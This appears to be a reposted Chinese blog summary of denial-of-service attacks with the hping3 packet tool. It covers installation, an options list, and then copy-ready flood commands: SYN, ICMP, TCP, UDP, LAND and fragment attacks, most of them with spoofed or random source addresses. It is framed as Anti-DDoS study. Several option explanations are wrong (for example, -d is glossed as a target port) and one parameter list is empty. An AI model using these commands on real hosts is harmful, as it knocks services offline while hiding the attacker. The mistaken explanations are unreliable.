hping3拒绝服务攻击小结
生活随笔
收集整理的這篇文章主要介紹了
hping3拒绝服务攻击小结
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
- Author:ZERO-A-ONE
- Date:2021-02-15
? 最近在研究Anti-DDoS勢必要了解如何發起DDoS攻擊,于是就接觸到了hping3這款發包工具
一、簡介
? hping是面向命令行的用于生成和解析TCP/IP協議數據包匯編/分析的開源工具。作者是Salvatore Sanfilippo,界面靈感來自ping(8)unix命令,目前最新版是hping3,它支持TCP,UDP,ICMP和RAW-IP協議,具有跟蹤路由模式,能夠在覆蓋的信道之間發送文件以及許多其他功能,支持使用tcl腳本自動化地調用其API。hping是安全審計、防火墻測試等工作的標配工具。hping優勢在于能夠定制數據包的各個部分,因此用戶可以靈活對目標機進行細致地探測
二、安裝
yum install libpcap-devel tc-devel ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h wget http://www.hping.org/hping3-20051105.tar.gz tar zxvf hping3-20051105.tar.gz cd hping3-20051105 ./configure make make install三、命令使用
命令語法:
$ hping3選項含義:
-H --help 顯示幫助。 -v -VERSION 版本信息。 -c --count count 發送數據包的次數 關于countreached_timeout 可以在hping2.h里編輯。 -i --interval 包發送間隔時間(單位是毫秒)缺省時間是1秒,此功能在增加傳輸率上很重要,在idle/spoofing掃描時此功能也會被用到,你可以參考hping-howto獲得更多信息-fast 每秒發10個數據包。 -n -nmeric 數字輸出,象征性輸出主機地址。 -q -quiet 退出。 -I --interface interface name 無非就是eth0之類的參數。 -v --verbose 顯示很多信息,TCP回應一般如:len=46 ip=192.168.1.1 flags=RADF seq=0 ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0 -D --debug 進入debug模式當你遇到麻煩時,比如用HPING遇到一些不合你習慣的時候,你可以用此模式修改HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,.......) -z --bind 快捷鍵的使用。 -Z --unbind 消除快捷鍵。 -O --rawip RAWIP模式,在此模式下HPING會發送帶數據的IP頭。 -1 --icmp ICMP模式,此模式下HPING會發送IGMP應答報,你可以用--ICMPTYPE --ICMPCODE選項發送其他類型/模式的ICMP報文。 -2 --udp UDP 模式,缺省下,HPING會發送UDP報文到主機的0端口,你可以用--baseport --destport --keep選項指定其模式。 -9 --listen signatuer hping的listen模式,用此模式,HPING會接收指定的數據。 -a --spoof hostname 偽造IP攻擊,防火墻就不會記錄你的真實IP了,當然回應的包你也接收不到了。 -t --ttl time to live 可以指定發出包的TTL值。 -H --ipproto 在RAW IP模式里選擇IP協議。 -w --WINID UNIX ,WINDIWS的id回應不同的,這選項可以讓你的ID回應和WINDOWS一樣。 -r --rel 更改ID的,可以讓ID曾遞減輸出,詳見HPING-HOWTO。 -F --FRAG 更改包的FRAG,這可以測試對方對于包碎片的處理能力,缺省的“virtual mtu”是16字節。 -x --morefrag 此功能可以發送碎片使主機忙于恢復碎片而造成主機的拒絕服務。 -y -dontfrag 發送不可恢復的IP碎片,這可以讓你了解更多的MTU PATH DISCOVERY。 -G --fragoff fragment offset value set the fragment offset -m --mtu mtu value 用此項后ID數值變得很大,50000沒指定此項時3000-20000左右。 -G --rroute 記錄路由,可以看到詳悉的數據等等,最多可以經過9個路由,即使主機屏蔽了ICMP報文。 -C --ICMPTYPE type 指定ICMP類型,缺省是ICMP echo REQUEST。 -K --ICMPCODE CODE 指定ICMP代號,缺省0。 --icmp-ipver 把IP版本也插入IP頭。 --icmp-iphlen 設置IP頭的長度,缺省為5(32字節)。 --icmp-iplen 設置IP包長度。 --icmp-ipid 設置ICMP報文IP頭的ID,缺省是RANDOM。 --icmp-ipproto 設置協議的,缺省是TCP。 -icmp-cksum 設置校驗和。 -icmp-ts alias for --icmptype 13 (to send ICMP timestamp requests) --icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests) -s --baseport source port hping 用源端口猜測回應的包,它從一個基本端口計數,每收一個包,端口也加1,這規則你可以自己定義。 -p --deskport [+][+]desk port 設置目標端口,缺省為0,一個加號設置為:每發送一個請求包到達后,端口加1,兩個加號為:每發一個包,端口數加1。 --keep 上面說過了。 -w --win 發的大小和windows一樣大,64BYTE。 -O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4. -m --tcpseq 設置TCP序列數。 -l --tcpck 設置TCP ack。 -Q --seqnum 搜集序列號的,這對于你分析TCP序列號有很大作用。| -v | –version | 顯示版本 |
| -c | –count | 數據包計數 |
| -i | –interval | 等待 (uX即X微秒, 例如: -i u1000) |
| –fast | 等同 -i u10000 (每秒10個包) | |
| –faster | 等同 -i u1000 (每秒100個包) | |
| –flood | 盡最快發送數據包,不顯示回復。 | |
| -n | –numeric | 數字輸出 |
| -q | –quiet | 靜默模式 |
| -I | –interface | 接口名 (默認路由接口) |
| -V | –verbose | 詳細模式 |
| -D | –debug | 調試信息 |
| -z | –bind | 綁定ctrl+z到ttl(默認為目的端口) |
| -Z | –unbind | 取消綁定ctrl+z鍵 |
| –beep | 對于接收到的每個匹配數據包蜂鳴聲提示 |
| -1 | –icmp | ICMP模式 |
| -2 | –udp | UDP模式 |
| -8 | –scan | SCAN模式 |
| -9 | –listen | listen模式 |
| –rand-dest | 隨機目的地址模式。詳細使用man命令 | |
| –rand-source | 隨機來源地址模式。詳細使用man命令 | |
| -t | –ttl | ttl (默認64) |
| -N | –id | id (默認隨機) |
| -W | –winid | 使用win* id字節順序 |
| -r | –rel | 相對id字段(估計主機流量) |
| -f | –frag | 拆分數據包更多的frag |
| -x | –morefrag | 設置更多的分段標志 |
| -y | –dontfrag | 設置不分段標志 |
| -g | –fragoff | 設置分段偏移 |
| -m | –mtu | 設置虛擬最大傳輸單元 |
| -o | –tos | 服務類型(默認為0x00),嘗試–tos幫助 |
| -G | –rroute | 包含RECORD_ROUTE選項并顯示路由緩沖區 |
| –lsrr | 松散源路由并記錄路由 | |
| –ssrr | 嚴格源路由并記錄路由 | |
| -H | –ipproto | 設置IP協議字段,僅在RAW IP模式下使用 |
四、攻擊測試
3.1 SYN Flood
命令操作:
hping3 -c 100000 -d 120 -S -w 64 -p 21 --flood --rand-source www.xxx.com(IP)參數含義:
- hping3:應用名稱
- -c 100000:需要發送的包(packets)的數量(非必須)
- -d 120:包(packets)的大小(非必須)
- -S:只發送SYN packets
- -w 64:TCP窗口(Windows)的大小(非必須)
- -p 21:偽造包為21端口(可以為任意值)
- –flood:盡可能快的利用全部系統資源發包,泛洪攻擊模式
- –rand-source:偽造隨機的源IP地址,也可以使用-a偽造特定的IP地址
- www.xxx.com(IP):需要攻擊的目標主機域名或IP地址
3.2 ICMP Flood
命令操作:
$ hping3 -q -n -a 10.0.0.1 --id 0 --icmp -d 56 --flood 192.168.0.2參數含義:
- -q:靜默模式(非必須)
- -n:數字輸出
- -a 10.0.0.1:偽造源地址為10.0.0.1
- –id 0:表示有ICMP回顯(ICMP echo request也就是ping)
- –icmp:ICMP模式
- -d 56:目標端口56
在真實世界中的攻擊環境中,到目前為止,很多系統配置中都會選擇自動丟棄通過hping生成的頭部設定不正確的ICMP包,面對這種情況我們可以不使用hping生成的數據包,而是真正的通過抓包軟件獲得正常的ICMP回顯請求報文,然后使用hping3進行重播
命令操作:
$ hping3 -q -n --rawip -a 10.0.0.1 --ipproto 1 --file "./xxxx.bin" -d 64 --flood 192.168.0.2參數含義:
- -q:靜默模式(非必須)
- -n:數字輸出
- –rawip:RAWIP模式,在此模式下HPING會發送帶數據的IP頭
- –ipproto:設置IP協議字段,僅在RAW IP模式下使用
- –file:需要重放的文件地址
3.3 TCP Flood
命令操作:
$ hping3 -SARUPF -p 80 -–flood –rand-source 192.168.100.1參數含義:
- -SARUPF:
3.4 UDP Flood
命令操作:
$ hping3 –udp -s 6666 -p 53 -a 8.8.8.8 -–flood 192.168.100.1參數含義:
- -udp:UDP模式
- -s:用源端口猜測回應的包,它從一個基本端口計數,每收一個包,端口也加1,這規則你可以自己定義
3.5 LAND攻擊
命令操作:
$ hping3 -n -S -p 80 -a 192.168.100.1 -–flood 192.168.100.13.6 混合大小包攻擊
命令操作:
$ time(hping3 --syn -d 1600 -x -m 600 --id 1020 -c 1 192.168.10.100 & hping3 --syn -d 1600 -x -m 400 --id 1020 -c 1 192.168.10.100)總結
以上是生活随笔為你收集整理的hping3拒绝服务攻击小结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 实现div里的img图片水平垂直居中
- 下一篇: 解决vue打包后静态资源路径错误的问题